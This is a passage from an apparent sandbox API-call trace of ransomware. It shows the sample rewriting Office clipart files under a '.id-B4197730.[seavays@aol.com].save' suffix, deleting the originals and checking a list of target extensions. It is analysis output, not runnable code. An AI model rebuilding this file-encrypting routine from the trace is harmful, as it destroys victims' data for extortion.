Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0071.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.839] lstrlenW (lpString=".doc") returned 4 [0071.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.839] lstrlenW (lpString=".docx") returned 5 [0071.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.839] lstrlenW (lpString=".pdf") returned 4 [0071.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.839] lstrlenW (lpString=".xls") returned 4 [0071.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.839] lstrlenW (lpString=".xlsx") returned 5 [0071.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.839] lstrlenW (lpString=".ppt") returned 4 [0071.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.839] lstrlenW (lpString=".zip") returned 4 [0071.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.839] lstrlenW (lpString=".rar") returned 4 [0071.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.839] lstrlenW (lpString=".bz2") returned 4 [0071.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.839] lstrlenW (lpString=".7z") returned 3 [0071.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.839] lstrlenW (lpString=".dbf") returned 4 [0071.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.840] lstrlenW (lpString=".1cd") returned 4 [0071.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0071.840] lstrlenW (lpString=".jpg") returned 4 [0071.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.841] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.841] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.842] GetLastError () returned 0x0 [0071.842] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xadc, lpOverlapped=0x0) returned 1 [0071.843] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xae0, lpOverlapped=0x0) returned 1 [0071.844] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.845] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.845] SetEndOfFile (hFile=0x37c) returned 1 [0071.845] CloseHandle (hObject=0x37c) returned 1 [0071.845] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.845] SetEndOfFile (hFile=0x38c) returned 1 [0071.846] CloseHandle (hObject=0x38c) returned 1 [0071.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0071.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.847] lstrlenW (lpString=".doc") returned 4 [0071.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.847] lstrlenW (lpString=".docx") returned 5 [0071.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.847] lstrlenW (lpString=".pdf") returned 4 [0071.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.847] lstrlenW (lpString=".xls") returned 4 [0071.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.847] lstrlenW (lpString=".xlsx") returned 5 [0071.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.847] lstrlenW (lpString=".ppt") returned 4 [0071.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.848] lstrlenW (lpString=".zip") returned 4 [0071.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.848] lstrlenW (lpString=".rar") returned 4 [0071.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.848] lstrlenW (lpString=".bz2") returned 4 [0071.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.848] lstrlenW (lpString=".7z") returned 3 [0071.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.848] lstrlenW (lpString=".dbf") returned 4 [0071.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.848] lstrlenW (lpString=".1cd") returned 4 [0071.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0071.848] lstrlenW (lpString=".jpg") returned 4 [0071.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.849] GetLastError () returned 0x0 [0071.849] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xaec, lpOverlapped=0x0) returned 1 [0071.851] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0071.852] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.852] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.853] SetEndOfFile (hFile=0x37c) returned 1 [0071.853] CloseHandle (hObject=0x37c) returned 1 [0071.853] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.853] SetEndOfFile (hFile=0x38c) returned 1 [0071.854] CloseHandle (hObject=0x38c) returned 1 [0071.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0071.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.855] lstrlenW (lpString=".doc") returned 4 [0071.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.855] lstrlenW (lpString=".docx") returned 5 [0071.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.855] lstrlenW (lpString=".pdf") returned 4 [0071.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.855] lstrlenW (lpString=".xls") returned 4 [0071.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.855] lstrlenW (lpString=".xlsx") returned 5 [0071.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.855] lstrlenW (lpString=".ppt") returned 4 [0071.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.855] lstrlenW (lpString=".zip") returned 4 [0071.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.855] lstrlenW (lpString=".rar") returned 4 [0071.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.855] lstrlenW (lpString=".bz2") returned 4 [0071.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.867] lstrlenW (lpString=".7z") returned 3 [0071.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.867] lstrlenW (lpString=".dbf") returned 4 [0071.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.867] lstrlenW (lpString=".1cd") returned 4 [0071.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0071.867] lstrlenW (lpString=".jpg") returned 4 [0071.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.868] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.868] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.869] GetLastError () returned 0x0 [0071.869] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb90, lpOverlapped=0x0) returned 1 [0071.871] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xba0, lpOverlapped=0x0) returned 1 [0071.872] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.872] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.872] SetEndOfFile (hFile=0x37c) returned 1 [0071.873] CloseHandle (hObject=0x37c) returned 1 [0071.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.873] SetEndOfFile (hFile=0x38c) returned 1 [0071.874] CloseHandle (hObject=0x38c) returned 1 [0071.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0071.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.875] lstrlenW (lpString=".doc") returned 4 [0071.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.875] lstrlenW (lpString=".docx") returned 5 [0071.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.875] lstrlenW (lpString=".pdf") returned 4 [0071.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.875] lstrlenW (lpString=".xls") returned 4 [0071.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.875] lstrlenW (lpString=".xlsx") returned 5 [0071.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.875] lstrlenW (lpString=".ppt") returned 4 [0071.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.875] lstrlenW (lpString=".zip") returned 4 [0071.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.875] lstrlenW (lpString=".rar") returned 4 [0071.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.875] lstrlenW (lpString=".bz2") returned 4 [0071.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.875] lstrlenW (lpString=".7z") returned 3 [0071.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.876] lstrlenW (lpString=".dbf") returned 4 [0071.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.876] lstrlenW (lpString=".1cd") returned 4 [0071.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0071.876] lstrlenW (lpString=".jpg") returned 4 [0071.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.877] GetLastError () returned 0x0 [0071.877] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb90, lpOverlapped=0x0) returned 1 [0072.338] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xba0, lpOverlapped=0x0) returned 1 [0072.339] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.339] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.340] SetEndOfFile (hFile=0x37c) returned 1 [0072.340] CloseHandle (hObject=0x37c) returned 1 [0072.340] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.340] SetEndOfFile (hFile=0x38c) returned 1 [0072.341] CloseHandle (hObject=0x38c) returned 1 [0072.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0073.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.014] lstrlenW (lpString=".doc") returned 4 [0073.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.014] lstrlenW (lpString=".docx") returned 5 [0073.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.014] lstrlenW (lpString=".pdf") returned 4 [0073.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.014] lstrlenW (lpString=".xls") returned 4 [0073.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.014] lstrlenW (lpString=".xlsx") returned 5 [0073.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.014] lstrlenW (lpString=".ppt") returned 4 [0073.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.014] lstrlenW (lpString=".zip") returned 4 [0073.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.015] lstrlenW (lpString=".rar") returned 4 [0073.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.015] lstrlenW (lpString=".bz2") returned 4 [0073.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.015] lstrlenW (lpString=".7z") returned 3 [0073.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.015] lstrlenW (lpString=".dbf") returned 4 [0073.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.015] lstrlenW (lpString=".1cd") returned 4 [0073.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0073.015] lstrlenW (lpString=".jpg") returned 4 [0073.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0073.057] GetLastError () returned 0x0 [0073.057] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x128, lpOverlapped=0x0) returned 1 [0073.058] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x130, lpOverlapped=0x0) returned 1 [0073.058] ReadFile (in: hFile=0x2e8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.058] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.060] SetEndOfFile (hFile=0x2ec) returned 1 [0073.060] CloseHandle (hObject=0x2ec) returned 1 [0073.060] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.060] SetEndOfFile (hFile=0x2e8) returned 1 [0073.061] CloseHandle (hObject=0x2e8) returned 1 [0073.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0073.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.062] lstrlenW (lpString=".doc") returned 4 [0073.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.062] lstrlenW (lpString=".docx") returned 5 [0073.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.062] lstrlenW (lpString=".pdf") returned 4 [0073.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.062] lstrlenW (lpString=".xls") returned 4 [0073.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.063] lstrlenW (lpString=".xlsx") returned 5 [0073.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.063] lstrlenW (lpString=".ppt") returned 4 [0073.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.063] lstrlenW (lpString=".zip") returned 4 [0073.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.063] lstrlenW (lpString=".rar") returned 4 [0073.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.063] lstrlenW (lpString=".bz2") returned 4 [0073.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.063] lstrlenW (lpString=".7z") returned 3 [0073.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.063] lstrlenW (lpString=".dbf") returned 4 [0073.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0073.063] lstrlenW 